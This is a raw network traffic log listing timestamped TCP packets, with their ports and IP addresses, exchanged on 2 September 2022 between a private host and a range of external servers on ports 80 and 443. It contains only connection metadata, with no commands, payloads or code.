Sep 2, 2022 14:02:41.853281975 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853300095 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853365898 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853373051 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853427887 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853435040 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853476048 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853512049 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853553057 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.867984056 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.868005037 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.868247986 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.869839907 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.869854927 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.869868040 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.869894028 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.869899035 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.869946957 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870064974 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870090961 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.870129108 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.870157957 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870165110 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.870178938 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.870203018 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870217085 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870264053 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870296001 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870332003 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.870393038 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.879585028 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.879596949 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.879820108 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881053925 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881059885 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881068945 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881094933 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881099939 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881156921 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881212950 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881218910 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881289959 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881298065 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881324053 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881361961 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881380081 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881386995 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.881438017 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881503105 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.881536007 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.905834913 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.905855894 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.905888081 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.906070948 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.908922911 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.908937931 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.909154892 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.916666031 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.936501026 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.949480057 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.949506998 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:54.651262045 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:02:54.651320934 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:02:54.651415110 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:02:54.707199097 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:02:54.707237959 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:02:54.778209925 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:02:54.778350115 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:02:54.827310085 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:02:54.827338934 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:02:54.827686071 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:02:55.031610012 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:02:59.126475096 CEST	49814	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:59.149066925 CEST	80	49814	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:59.149188042 CEST	49814	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:59.149565935 CEST	49814	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:59.149610996 CEST	49814	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:59.171869993 CEST	80	49814	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:59.518477917 CEST	80	49814	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:59.610161066 CEST	49814	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:59.719650030 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.719721079 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.719841957 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.720515966 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.720561028 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.813983917 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.814111948 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.818111897 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.818156004 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.818594933 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.866719007 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.894638062 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.894790888 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.894879103 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.895231962 CEST	49816	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.895258904 CEST	443	49816	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.974677086 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.974711895 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:02:59.974800110 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.975395918 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:02:59.975405931 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:03:00.060452938 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:03:00.060558081 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:03:00.062594891 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:03:00.062609911 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:03:00.062980890 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:03:00.065002918 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:03:00.087009907 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.105849028 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:03:00.106055975 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:03:00.106146097 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:03:00.106348038 CEST	49817	443	192.168.2.6	148.251.234.93
Sep 2, 2022 14:03:00.106374025 CEST	443	49817	148.251.234.93	192.168.2.6
Sep 2, 2022 14:03:00.127367020 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.148405075 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.148444891 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.148540020 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.149050951 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.149075985 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.164912939 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.164943933 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.164952040 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165005922 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165030003 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165035009 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.165050030 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165070057 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165079117 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.165091038 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165092945 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.165131092 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.165137053 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.165142059 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165179014 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.165226936 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.165299892 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.212351084 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.212374926 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.212419987 CEST	49813	443	192.168.2.6	149.154.167.99
Sep 2, 2022 14:03:00.212426901 CEST	443	49813	149.154.167.99	192.168.2.6
Sep 2, 2022 14:03:00.243701935 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.243778944 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.245759010 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.245779991 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.246068001 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.247905016 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.291385889 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.314894915 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.314937115 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.314944983 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.315059900 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.315078974 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.315156937 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.315829039 CEST	49818	443	192.168.2.6	148.251.234.83
Sep 2, 2022 14:03:00.315848112 CEST	443	49818	148.251.234.83	192.168.2.6
Sep 2, 2022 14:03:00.433870077 CEST	49814	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:03:00.433909893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:03:00.433969021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:03:00.433989048 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:03:00.832523108 CEST	49820	80	192.168.2.6	163.123.143.4
Sep 2, 2022 14:03:00.860265017 CEST	80	49820	163.123.143.4	192.168.2.6
Sep 2, 2022 14:03:00.860371113 CEST	49820	80	192.168.2.6	163.123.143.4
Sep 2, 2022 14:03:00.871710062 CEST	49820	80	192.168.2.6	163.123.143.4
Sep 2, 2022 14:03:00.899219990 CEST	80	49820	163.123.143.4	192.168.2.6
Sep 2, 2022 14:03:00.899655104 CEST	80	49820	163.123.143.4	192.168.2.6
Sep 2, 2022 14:03:00.899691105 CEST	80	49820	163.123.143.4	192.168.2.6
Sep 2, 2022 14:03:00.899710894 CEST	80	49820	163.123.143.4	192.168.2.6
Sep 2, 2022 14:03:00.899770021 CEST	49820	80	192.168.2.6	163.123.143.4
Sep 2, 2022 14:03:00.943603992 CEST	49821	80	192.168.2.6	212.193.30.115
Sep 2, 2022 14:03:01.000897884 CEST	49820	80	192.168.2.6	163.123.143.4
Sep 2, 2022 14:03:01.730520964 CEST	49822	80	192.168.2.6	208.95.112.1
Sep 2, 2022 14:03:01.767420053 CEST	80	49822	208.95.112.1	192.168.2.6
Sep 2, 2022 14:03:01.767576933 CEST	49822	80	192.168.2.6	208.95.112.1
Sep 2, 2022 14:03:01.820621967 CEST	49822	80	192.168.2.6	208.95.112.1
Sep 2, 2022 14:03:01.857887983 CEST	80	49822	208.95.112.1	192.168.2.6
Sep 2, 2022 14:03:02.001049042 CEST	49822	80	192.168.2.6	208.95.112.1
Sep 2, 2022 14:03:03.938782930 CEST	49821	80	192.168.2.6	212.193.30.115
Sep 2, 2022 14:03:05.902689934 CEST	80	49820	163.123.143.4	192.168.2.6
Sep 2, 2022 14:03:05.903225899 CEST	49820	80	192.168.2.6	163.123.143.4
Sep 2, 2022 14:03:06.335521936 CEST	49820	80	192.168.2.6	163.123.143.4
Sep 2, 2022 14:03:06.363152981 CEST	80	49820	163.123.143.4	192.168.2.6
Sep 2, 2022 14:03:09.939157963 CEST	49821	80	192.168.2.6	212.193.30.115
Sep 2, 2022 14:03:12.617311001 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:12.617372990 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:12.617496014 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:12.633219957 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:12.633260012 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:12.678091049 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:12.678210974 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:12.683666945 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:12.683686972 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:12.683913946 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:12.814451933 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:13.786722898 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:13.927208900 CEST	80	49825	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:13.927463055 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:13.978457928 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:14.118911028 CEST	80	49825	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:14.340591908 CEST	80	49825	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:14.439582109 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:14.724606037 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:14.724663019 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:14.724776983 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:14.767064095 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:14.767112970 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:14.823633909 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:14.823995113 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:14.849699974 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:14.849735022 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:14.850100040 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:14.939610958 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:15.790072918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:15.814157963 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:15.814393044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:15.901750088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:15.927042007 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:16.215221882 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.255400896 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711097002 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711185932 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711230993 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711271048 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711313963 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711374044 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.711393118 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.711393118 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711406946 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711445093 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.711478949 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711524963 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711527109 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.711534977 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.711580038 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.711591005 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.908523083 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.908564091 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940217018 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940304041 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.940314054 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940332890 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940395117 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940402031 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.940416098 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940469980 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.940481901 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940541029 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940584898 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940612078 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940628052 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.940660954 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.940677881 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.943273067 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.943340063 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.943346977 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.943403006 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.943460941 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.943478107 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.944463015 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.944541931 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.944552898 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.944578886 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.944626093 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.944657087 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.944763899 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.944839001 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.944858074 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.945846081 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.945916891 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.945929050 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.945951939 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:16.945995092 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:16.946027994 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.056296110 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:17.056344986 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:17.062839985 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.062881947 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171192884 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171298027 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171428919 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171436071 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.171471119 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171506882 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.171556950 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171622992 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.171633959 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171695948 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.171719074 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.171782017 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.172343969 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.172379971 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.172415972 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.172441006 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.172482967 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.172498941 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.173824072 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.173890114 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.173898935 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.173923969 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.173948050 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.178036928 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.178133965 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.178141117 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.178174019 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.178200006 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.178212881 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.178236008 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.178286076 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.178342104 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.178359032 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.178411961 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.182676077 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.182751894 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.182790995 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.182789087 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.182837009 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.182868004 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.182873964 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.182878971 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.188299894 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.188373089 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.188419104 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.188438892 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.188452005 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.189697981 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.189754963 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.189768076 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.189786911 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.189944029 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.196902037 CEST	80	49825	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:17.196928978 CEST	80	49825	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:17.268162966 CEST	80	49825	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:17.314768076 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.336381912 CEST	49825	80	192.168.2.6	45.136.151.102
